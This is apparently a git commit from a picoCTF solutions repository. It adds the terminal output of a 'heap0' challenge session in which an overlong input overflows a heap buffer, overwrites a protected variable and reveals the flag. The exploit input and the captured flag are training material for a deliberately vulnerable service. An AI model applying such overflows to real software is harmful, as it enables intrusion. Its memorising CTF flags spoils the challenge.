pwn/heap_0

This commit is contained in:
2024-09-03 20:43:19 +02:00
parent 8c11513945
commit 955da6e698
3 changed files with 161 additions and 0 deletions

34
pwn/heap_0/output.txt Normal file
View File

@@ -0,0 +1,34 @@
$ nc tethys.picoctf.net 62334
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5fa8485542b0 -> pico
+-------------+----------------+
[*] 0x5fa8485542d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: picopicopicopicopicopicopicopicopico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_e4c92a78}